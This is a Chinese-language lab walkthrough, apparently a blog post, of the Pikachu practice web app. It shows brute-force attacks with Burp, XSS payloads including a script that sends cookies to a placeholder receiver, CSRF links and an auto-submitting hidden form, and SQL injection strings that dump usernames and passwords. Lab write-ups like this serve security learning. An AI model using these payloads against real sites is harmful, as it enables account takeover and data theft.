pikachu靶场打靶

暴力破解

Burte Force(暴力破解)概述
“暴力破解”是一攻击具手段,在web攻击中,一般会使用这种手段对应用系统的认证信息进行获取。 其过程就是使用大量的认证信息在认证接口进行尝试登录,直到得到正确的结果。 为了提高效率,暴力破解一般会使用带有字典的工具来进行自动化操作。
理论上来说,大多数系统都是可以被暴力破解的,只要攻击者有足够强大的计算能力和时间,所以断定一个系统是否存在暴力破解漏洞,其条件也不是绝对的。 我们说一个web应用系统存在暴力破解漏洞,一般是指该web应用系统没有采用或者采用了比较弱的认证安全策略,导致其被暴力破解的“可能性”变的比较高。 这里的认证安全策略, 包括:
1.是否要求用户设置复杂的密码;
2.是否每次认证都使用安全的验证码(想想你买火车票时输的验证码~)或者手机otp;
3.是否对尝试登录的行为进行判断和限制(如:连续5次错误登录,进行账号锁定或IP地址锁定等);
4.是否采用了双因素认证;
…等等。
千万不要小看暴力破解漏洞,往往这种简单粗暴的攻击方式带来的效果是超出预期的!

你可以通过“BurteForce”对应的测试栏目,来进一步的了解该漏洞。

从来没有哪个时代的黑客像今天一样热衷于猜解密码 —奥斯特洛夫斯基

基于表单的暴力破解

在这里插入图片描述
bp抓包,然后爆破,
在这里插入图片描述
在这里插入图片描述

验证码绕过(on server)

抓包,
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
审计一下源码:
发现当验证码输入正确的时候,即使密码输入错误,也不会刷新验证码,导致一个验证码反复提交。
在这里插入图片描述
直接爆破就行了

验证码绕过(on clicent)

这个的弹窗可以知道是前端js的作用,当弹窗的时候bp也是抓不到数据包的。

纯前端验证码,形同虚设,直接绕过前端用bp爆破即可。

token防爆破?

这个比较考验bp的操作,试了好多次终于ok
代理——>sent to intruder——>Pitchfork音叉攻击,选定两个攻击位点在这里插入图片描述
载荷1是password字段的字典,

在这里插入图片描述
载荷2是token的值
此时的注意问题:
由于每次发包后要获取上次返回包的token,线程只能是1在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
这里的token要想办法复制一下,后面要用到。
在这里插入图片描述
这里一定要调整好到总是,否则会不成功
在这里插入图片描述
设置刚才的攻击位点2,下面框框的是刚才要复制的那个首次发包返回的token
然后开始攻击,就会得到如图结果
在这里插入图片描述

Cross-Site Scripting (XSS)

XSS(跨站脚本)概述
Cross-Site Scripting 简称为“CSS”,为避免与前端叠成样式表的缩写"CSS"冲突,故又称XSS。一般XSS可以分为如下几种常见类型:
1.反射性XSS;
2.存储型XSS;
3.DOM型XSS;

XSS漏洞一直被评估为web漏洞中危害较大的漏洞,在OWASP TOP10的排名中一直属于前三的江湖地位。
XSS是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户。
形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。
因此在XSS漏洞的防范上,一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理:
输入过滤:对输入进行过滤,不允许可能导致XSS攻击的字符输入;
输出转义:根据输出点的位置对输出到前端的内容进行适当转义;

你可以通过“Cross-Site Scripting”对应的测试栏目,来进一步的了解该漏洞。

反射型xss(get)

在前端显示了输入的在这里插入图片描述所以在这里执行前端代码
就比如我框里输入了<h 1>hesasfkl;asdvc,他就变成这样在这里插入图片描述

前端中做了长度的限制,只需要手动修改这个最大长度,然后直接在输入框输入

即可
在这里插入图片描述
在这里插入图片描述
url也变成了:http://192.168.136.53:8080/vul/xss/xss_reflected_get.php?message=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&submit=submit
直接修改加粗部分就控制了alert的内容。
能干什么坏事:在这里插入一个恶意连接,xss跳转到恶意链接,窃取cookie等;

反射型xss(post)

先用之前爆破的密码登录,然后与get相同,直接框里xss或者bp抓包,改xss

存储型xss

在这里插入图片描述
每次刷新都会弹窗

https://www.w3school.com.cn/htmldom/index.asp

DOM型xss

html Dom教程
窃取cookie的xss

<script>
document.write("<img src=接收网址"+document.cookie+">");
</script>

定位到框框,然后看一下框处的源码
这个what do you see?是点击的地方

在这里插入图片描述
在这里插入图片描述
源码出提示要闭合单引号,先闭合这个a标签,然后重新构造

'><img src =x onerror=alert(1)><a href='#>

现在完整的就是这样:
<a href=''><img src=x onerror=alert(1)><a href='#'>what do you see?</a>
在这里插入图片描述

DOM型xss-x

先闭合

' οnclick="alert(/xss/)">

在这里插入图片描述

xss盲打

前台写xss,进到后台就会看到
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

XSS过滤

在这里插入图片描述
这里过滤了script,简单的大小写就可以绕过

XSS之htmlspecialchars

在这里插入图片描述
没思路,不会绕过

xss之href输出

伪协议:
javascript:alert(/xss/)即可
防止href里面伪协议造成的xss可以通过限制开头为http或者https

xss之js输出

还要回顾,

CSRF

CSRF(跨站请求伪造)概述
Cross-site request forgery 简称为“CSRF”,在CSRF的攻击场景中攻击者会伪造一个请求(这个请求一般是一个链接),然后欺骗目标用户进行点击,用户一旦点击了这个请求,整个攻击就完成了。所以CSRF攻击也成为"one click"攻击。 很多人搞不清楚CSRF的概念,甚至有时候会将其和XSS混淆,更有甚者会将其和越权问题混为一谈,这都是对原理没搞清楚导致的。
这里列举一个场景解释一下,希望能够帮助你理解。
场景需求:
小黑想要修改大白在购物网站tianxiewww.xx.com上填写的会员地址。
先看下大白是如何修改自己的密码的:
登录—修改会员信息,提交请求—修改成功。
所以小黑想要修改大白的信息,他需要拥有:1,登录权限 2,修改个人信息的请求。
但是大白又不会把自己xxx网站的账号密码告诉小黑,那小黑怎么办?
于是他自己跑到www.xx.com上注册了一个自己的账号,然后修改了一下自己的个人信息(比如:E-mail地址),他发现修改的请求是:
【http://www.xxx.com/edit.php?email=xiaohei@88.com&Change=Change】
于是,他实施了这样一个操作:把这个链接伪装一下,在小白登录xxx网站后,欺骗他进行点击,小白点击这个链接后,个人信息就被修改了,小黑就完成了攻击目的。
为啥小黑的操作能够实现呢。有如下几个关键点:
1.www.xxx.com这个网站在用户修改个人的信息时没有过多的校验,导致这个请求容易被伪造;
—因此,我们判断一个网站是否存在CSRF漏洞,其实就是判断其对关键信息(比如密码等敏感信息)的操作(增删改)是否容易被伪造。
2.小白点击了小黑发给的链接,并且这个时候小白刚好登录在购物网上;
—如果小白安全意识高,不点击不明链接,则攻击不会成功,又或者即使小白点击了链接,但小白此时并没有登录购物网站,也不会成功。
—因此,要成功实施一次CSRF攻击,需要“天时,地利,人和”的条件。
当然,如果小黑事先在xxx网的首页如果发现了一个XSS漏洞,则小黑可能会这样做: 欺骗小白访问埋伏了XSS脚本(盗取cookie的脚本)的页面,小白中招,小黑拿到小白的cookie,然后小黑顺利登录到小白的后台,小黑自己修改小白的相关信息。
—所以跟上面比一下,就可以看出CSRF与XSS的区别:CSRF是借用户的权限完成攻击,攻击者并没有拿到用户的权限,而XSS是直接盗取到了用户的权限,然后实施破坏。
因此,网站如果要防止CSRF攻击,则需要对敏感信息的操作实施对应的安全措施,防止这些操作出现被伪造的情况,从而导致CSRF。比如:
–对敏感信息的操作增加安全的token;
–对敏感信息的操作增加安全的验证码;
–对敏感信息的操作实施安全的逻辑流程,比如修改密码时,需要先校验旧密码等。

如果你没有读太明白,不要犹豫,请再读一遍啦

你可以通过“Cross-site request forgery”对应的测试栏目,来进一步的了解该漏洞。

CSRF(get) login

在这里插入图片描述
对照了两个人修改个人信息的流量包,发现只有cookie是不同的,而csrf本质上是构造一个恶意链接或者数据包,在被攻击者已经登录的前提下,直接利用他的cookie来登录实现信息修改。

这是修改的uri+参数
/vul/csrf/csrfget/csrf_get_edit.php?sex=1111&phonenum=11111&add=11111&email=11111&submit=submit
只要构造一下,就可以利用已经登录的账号修改信息。
比如B已经登录了某个网站,如果要把他的个人信息修改,只需要构造如下恶意链接并诱导对方访问。
http://xxx.com/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=&add=1888668544&email=hacked@hack.com&submit=submit

也可以结合xss构造一个恶意的按钮来诱导被攻击者点击
比如在前面xss的留言板输入

'><img src='http://xxx.com/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=&add=1888668544&email=hacked@hack.com&submit=submit'>

CSRF(post) login

构造一个恶意的隐藏页面来post submit的内容

<html>
<head>
<title>Form表单自动提交</title>
<!-- 加载完页面自动点击submit提交 -->
<script type="text/javascript">
	window.onload = function(){
		//alert("windows_onload_exec");
		autoSubmit();
		window.location.href="http://www.fucguigui.com"; //提交完成跳转到的页面,为了伪装
	} 
</script>
<script type="text/javascript">
	function autoSubmit(){
		//alert('autosubmit_start');
 		document.getElementById("submit").click();
		//alert('after_submit');
		}
</script>
</head>
<body >
<!-- 隐藏的表单 -->
<form id='myForm' action="http://www.xxx.com/vul/csrf/csrfpost/csrf_post_edit.php" method="post">
	<input type='hidden' name='sex' value='boy'>
	<input type='hidden' name='phonenum' value='evil'>
	<input type='hidden' name='add' value='fake_addr'>
	<input type='hidden' name='email' value='evil_form@admin.com'>
	<input id='submit' type="submit" name='submit' value="submit" style="display:none;"></input>
</form>
</body>
</html>

只要被攻击者登录了页面并且访问这个恶意构造的页面就能攻击成功。

CSRF Token login

反正我是被拦住了

SQL-Injetcion

Sql Inject(SQL注入)概述

哦,SQL注入漏洞,可怕的漏洞。

     在owasp发布的top10排行榜里,注入漏洞一直是危害排名第一的漏洞,其中注入漏洞里面首当其冲的就是数据库注入漏洞。
一个严重的SQL注入漏洞,可能会直接导致一家公司破产!
SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。
在构建代码时,一般会从如下几个方面的策略来防止SQL注入漏洞:
1.对传进SQL语句里面的变量进行过滤,不允许危险字符传入;
2.使用参数化(Parameterized Query 或 Parameterized Statement);
3.还有就是,目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重! 
SQL注入在网络上非常热门,也有很多技术专家写过非常详细的关于SQL注入漏洞的文章,这里就不在多写了。
你可以通过“Sql Inject”对应的测试栏目,来进一步的了解该漏洞。 

数字型注入

1 order by 3	# 抱错Unknown column '3' in 'order clause'
1 order by 2	# 正常回显,爆字段列数为2
1 union select database(),user()	# 得到回显hello,pikachu <br />your email is: root@localhost,即爆数据库名为pikachu和数据库用户为root@localhost
1 union select table_name,2 from information_schema.tables where table_schema = database()	# 爆数据表
id=1 union select database(),group_concat(column_name) from information_schema.columns where table_name='users'	# 爆字段
id=1 union select database(),group_concat(username,':',password) from users	# 爆内容

字符型注入

lili’ or 1=1#
#’闭合掉前面的单引号,#注释掉后面的单引号
和数字的相比就是多了一个引号需要闭合

搜索型注入

kobe' order by 3#	# 爆字段列数
kobe' union select 1,database(),user()#	# 爆数据库名和用户名
kobe' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()#	# 爆数据表
kobe' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='users'#	# 爆字段
kobe' union select 1,database(),group_concat(username,':',password) from users#	# 爆内容

xx型注入

就多了个括号包裹

kobe') order by 2#	# 爆字段列数
kobe') union select database(),user()#	# 爆数据库名和用户名
kobe') union select database(),group_concat(table_name) from information_schema.tables where table_schema=database()#	# 爆数据表
kobe') union select database(),group_concat(column_name) from information_schema.columns where table_name='users'#	# 爆字段
kobe') union select database(),group_concat(username,':',password) from users#	# 爆内容

insert/update注入

delete注入

http header注入

盲注(base on boolean)

盲注(base on time)

宽字节注入

参考文章:
pikachu靶场通关WP
Pikachu靶场通关

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值